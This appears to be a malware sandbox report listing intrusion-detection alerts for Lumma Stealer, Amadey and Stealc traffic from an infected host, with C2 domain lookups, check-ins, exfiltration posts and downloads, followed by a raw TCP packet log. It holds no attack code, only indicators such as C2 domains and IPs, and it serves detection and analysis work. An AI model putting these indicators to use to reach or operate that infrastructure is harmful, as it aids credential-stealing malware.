Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T05:24:06.521926+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	62598	1.1.1.1	53	UDP
2024-10-30T05:24:06.536510+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	60191	1.1.1.1	53	UDP
2024-10-30T05:24:06.547203+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	63856	1.1.1.1	53	UDP
2024-10-30T05:24:06.558598+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	57079	1.1.1.1	53	UDP
2024-10-30T05:24:06.569303+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.6	57186	1.1.1.1	53	UDP
2024-10-30T05:24:07.194258+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49709	188.114.96.3	443	TCP
2024-10-30T05:24:07.956163+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49709	188.114.96.3	443	TCP
2024-10-30T05:24:07.956163+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49709	188.114.96.3	443	TCP
2024-10-30T05:24:08.620287+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49711	188.114.96.3	443	TCP
2024-10-30T05:24:09.102101+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49711	188.114.96.3	443	TCP
2024-10-30T05:24:09.102101+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49711	188.114.96.3	443	TCP
2024-10-30T05:24:09.974405+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49712	188.114.96.3	443	TCP
2024-10-30T05:24:10.483695+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49712	188.114.96.3	443	TCP
2024-10-30T05:24:11.204088+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49713	188.114.96.3	443	TCP
2024-10-30T05:24:12.415408+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49715	188.114.96.3	443	TCP
2024-10-30T05:24:14.484758+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49721	188.114.96.3	443	TCP
2024-10-30T05:24:16.259718+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49732	188.114.96.3	443	TCP
2024-10-30T05:24:16.264710+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	49732	188.114.96.3	443	TCP
2024-10-30T05:24:19.422640+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49754	188.114.96.3	443	TCP
2024-10-30T05:24:19.878773+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49754	188.114.96.3	443	TCP
2024-10-30T05:24:20.819440+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49760	185.215.113.16	80	TCP
2024-10-30T05:25:06.387363+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49991	185.215.113.43	80	TCP
2024-10-30T05:25:09.795195+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49993	185.215.113.16	80	TCP
2024-10-30T05:25:17.699486+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	58432	1.1.1.1	53	UDP
2024-10-30T05:25:17.713121+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	58724	1.1.1.1	53	UDP
2024-10-30T05:25:17.725026+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	53810	1.1.1.1	53	UDP
2024-10-30T05:25:17.738167+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	60114	1.1.1.1	53	UDP
2024-10-30T05:25:18.797156+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49992	TCP
2024-10-30T05:25:19.411928+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49994	188.114.96.3	443	TCP
2024-10-30T05:25:19.747869+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49996	185.215.113.43	80	TCP
2024-10-30T05:25:20.159532+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49994	188.114.96.3	443	TCP
2024-10-30T05:25:20.159532+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49994	188.114.96.3	443	TCP
2024-10-30T05:25:20.673810+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49997	185.215.113.16	80	TCP
2024-10-30T05:25:20.840085+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49998	188.114.96.3	443	TCP
2024-10-30T05:25:21.304040+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49998	188.114.96.3	443	TCP
2024-10-30T05:25:21.304040+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49998	188.114.96.3	443	TCP
2024-10-30T05:25:22.165898+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	49999	188.114.96.3	443	TCP
2024-10-30T05:25:23.806994+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50000	188.114.96.3	443	TCP
2024-10-30T05:25:25.148683+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50001	188.114.96.3	443	TCP
2024-10-30T05:25:27.623630+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50002	188.114.96.3	443	TCP
2024-10-30T05:25:28.349080+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50002	188.114.96.3	443	TCP
2024-10-30T05:25:29.589148+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50003	185.215.113.43	80	TCP
2024-10-30T05:25:29.917365+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50004	188.114.96.3	443	TCP
2024-10-30T05:25:29.924094+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50004	188.114.96.3	443	TCP
2024-10-30T05:25:30.483877+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50005	185.215.113.206	80	TCP
2024-10-30T05:25:30.514487+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50006	185.215.113.16	80	TCP
2024-10-30T05:25:32.835779+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50007	188.114.96.3	443	TCP
2024-10-30T05:25:33.287893+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50007	188.114.96.3	443	TCP
2024-10-30T05:25:34.112088+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	51693	1.1.1.1	53	UDP
2024-10-30T05:25:34.127082+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	54014	1.1.1.1	53	UDP
2024-10-30T05:25:34.138467+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	62377	1.1.1.1	53	UDP
2024-10-30T05:25:34.148737+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	64260	1.1.1.1	53	UDP
2024-10-30T05:25:34.211715+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50008	185.215.113.16	80	TCP
2024-10-30T05:25:34.793788+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50009	188.114.96.3	443	TCP
2024-10-30T05:25:35.332149+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50009	188.114.96.3	443	TCP
2024-10-30T05:25:35.332149+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50009	188.114.96.3	443	TCP
2024-10-30T05:25:36.016995+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50010	188.114.96.3	443	TCP
2024-10-30T05:25:36.732621+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50010	188.114.96.3	443	TCP
2024-10-30T05:25:36.732621+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50010	188.114.96.3	443	TCP
2024-10-30T05:25:37.239095+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50011	185.215.113.43	80	TCP
2024-10-30T05:25:38.275915+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50013	188.114.96.3	443	TCP
2024-10-30T05:25:38.408112+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50012	185.215.113.16	80	TCP
2024-10-30T05:25:38.408112+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50012	185.215.113.16	80	TCP
2024-10-30T05:25:39.641815+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50016	188.114.96.3	443	TCP
2024-10-30T05:25:41.524627+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50021	188.114.96.3	443	TCP
2024-10-30T05:25:45.291467+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50027	185.215.113.206	80	TCP
2024-10-30T05:25:46.274208+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50029	185.215.113.43	80	TCP
2024-10-30T05:25:46.810774+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50031	188.114.96.3	443	TCP
2024-10-30T05:25:51.457362+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50040	188.114.96.3	443	TCP
2024-10-30T05:25:51.785732+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50040	188.114.96.3	443	TCP
2024-10-30T05:25:52.948175+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50042	188.114.96.3	443	TCP
2024-10-30T05:25:53.446112+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50042	188.114.96.3	443	TCP
2024-10-30T05:25:54.400021+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50044	185.215.113.16	80	TCP
2024-10-30T05:25:55.394674+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50045	185.215.113.206	80	TCP
2024-10-30T05:26:03.663125+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50049	185.215.113.206	80	TCP
2024-10-30T05:26:09.968129+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	63441	1.1.1.1	53	UDP
2024-10-30T05:26:10.039463+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	59530	1.1.1.1	53	UDP
2024-10-30T05:26:10.054018+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	51068	1.1.1.1	53	UDP
2024-10-30T05:26:10.066469+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	63887	1.1.1.1	53	UDP
2024-10-30T05:26:10.719182+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50080	188.114.96.3	443	TCP
2024-10-30T05:26:11.060710+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50080	188.114.96.3	443	TCP
2024-10-30T05:26:11.060710+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50080	188.114.96.3	443	TCP
2024-10-30T05:26:11.970053+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50082	188.114.96.3	443	TCP
2024-10-30T05:26:12.456869+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50082	188.114.96.3	443	TCP
2024-10-30T05:26:12.456869+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50082	188.114.96.3	443	TCP
2024-10-30T05:26:13.212032+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50083	188.114.96.3	443	TCP
2024-10-30T05:26:14.371114+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50086	188.114.96.3	443	TCP
2024-10-30T05:26:15.469780+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50087	188.114.96.3	443	TCP
2024-10-30T05:26:16.773879+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50089	188.114.96.3	443	TCP
2024-10-30T05:26:17.905087+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50090	188.114.96.3	443	TCP
2024-10-30T05:26:18.539798+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50090	188.114.96.3	443	TCP
2024-10-30T05:26:18.539798+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50090	188.114.96.3	443	TCP
2024-10-30T05:26:19.197250+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.6	50092	188.114.96.3	443	TCP
2024-10-30T05:26:19.888152+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50092	188.114.96.3	443	TCP
2024-10-30T05:26:19.959219+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50093	185.215.113.206	80	TCP
2024-10-30T05:26:20.803671+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50094	185.215.113.16	80	TCP
2024-10-30T05:26:37.372127+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50125	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 05:24:06.583904982 CET	49709	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:06.583955050 CET	443	49709	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:06.584059000 CET	49709	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:06.587080002 CET	49709	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:06.587096930 CET	443	49709	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:07.194178104 CET	443	49709	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:07.194257975 CET	49709	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:07.198827982 CET	49709	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:07.198834896 CET	443	49709	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:07.199044943 CET	443	49709	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:07.248322010 CET	49709	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:07.254642010 CET	49709	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:07.254642010 CET	49709	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:07.254729986 CET	443	49709	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:07.956186056 CET	443	49709	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:07.956399918 CET	443	49709	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:07.956449986 CET	49709	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:07.957948923 CET	49709	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:07.957967043 CET	443	49709	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:07.957979918 CET	49709	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:07.957986116 CET	443	49709	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:08.008845091 CET	49711	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:08.008882046 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:08.008969069 CET	49711	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:08.009283066 CET	49711	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:08.009294987 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:08.620172024 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:08.620286942 CET	49711	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:08.621655941 CET	49711	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:08.621665955 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:08.621874094 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:08.623155117 CET	49711	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:08.623189926 CET	49711	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:08.623213053 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.102112055 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.102233887 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.102257967 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.102292061 CET	49711	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:09.102309942 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.102366924 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.102397919 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.102435112 CET	49711	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:09.102435112 CET	49711	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:09.102444887 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.107368946 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.107400894 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.107418060 CET	49711	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:09.107433081 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.107475996 CET	49711	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:09.218698978 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.218919039 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.218991995 CET	49711	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:09.219007969 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.223448992 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.223522902 CET	49711	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:09.225533009 CET	49711	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:09.225553989 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.225569010 CET	49711	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:09.225574970 CET	443	49711	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.353708029 CET	49712	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:09.353758097 CET	443	49712	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.353863955 CET	49712	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:09.354273081 CET	49712	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:09.354291916 CET	443	49712	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.974157095 CET	443	49712	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.974405050 CET	49712	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:09.975796938 CET	49712	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:09.975805998 CET	443	49712	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.976097107 CET	443	49712	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:09.977772951 CET	49712	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:09.977927923 CET	49712	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:09.977958918 CET	443	49712	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:10.483709097 CET	443	49712	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:10.483807087 CET	443	49712	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:10.483865023 CET	49712	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:10.484029055 CET	49712	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:10.484047890 CET	443	49712	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:10.603728056 CET	49713	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:10.603753090 CET	443	49713	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:10.603822947 CET	49713	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:10.604206085 CET	49713	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:10.604219913 CET	443	49713	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:11.204006910 CET	443	49713	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:11.204087973 CET	49713	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:11.205885887 CET	49713	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:11.205894947 CET	443	49713	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:11.206131935 CET	443	49713	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:11.207413912 CET	49713	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:11.207593918 CET	49713	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:11.207628012 CET	443	49713	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:11.207695961 CET	49713	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:11.207703114 CET	443	49713	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:11.588182926 CET	443	49713	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:11.588294983 CET	443	49713	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:11.588407040 CET	49713	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:11.588690042 CET	49713	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:11.588704109 CET	443	49713	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:11.793051958 CET	49715	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:11.793078899 CET	443	49715	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:11.793181896 CET	49715	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:11.793658972 CET	49715	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:11.793669939 CET	443	49715	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:12.415251017 CET	443	49715	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:12.415407896 CET	49715	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:12.416994095 CET	49715	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:12.417002916 CET	443	49715	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:12.417248011 CET	443	49715	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:12.419146061 CET	49715	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:12.419327021 CET	49715	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:12.419356108 CET	443	49715	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:12.419426918 CET	49715	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:12.419434071 CET	443	49715	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:13.338167906 CET	443	49715	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:13.338298082 CET	443	49715	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:13.338377953 CET	49715	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:13.338639021 CET	49715	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:13.338653088 CET	443	49715	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:13.812973022 CET	49721	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:13.813016891 CET	443	49721	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:13.813107014 CET	49721	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:13.813595057 CET	49721	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:13.813616037 CET	443	49721	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:14.484677076 CET	443	49721	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:14.484757900 CET	49721	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:14.486706972 CET	49721	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:14.486716032 CET	443	49721	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:14.487116098 CET	443	49721	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:14.489039898 CET	49721	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:14.489151955 CET	49721	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:14.489156961 CET	443	49721	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:14.940576077 CET	443	49721	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:14.940682888 CET	443	49721	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:14.940783978 CET	49721	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:14.941898108 CET	49721	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:14.941912889 CET	443	49721	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:15.622306108 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:15.622344017 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:15.622440100 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:15.622867107 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:15.622879982 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.259644985 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.259717941 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.261646986 CET	49732	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:24:16.261656046 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.261924982 CET	443	49732	188.114.96.3	192.168.2.6
Oct 30, 2024 05:24:16.263339996 CET	49732	443	192.168.2.6	188.114.96.3
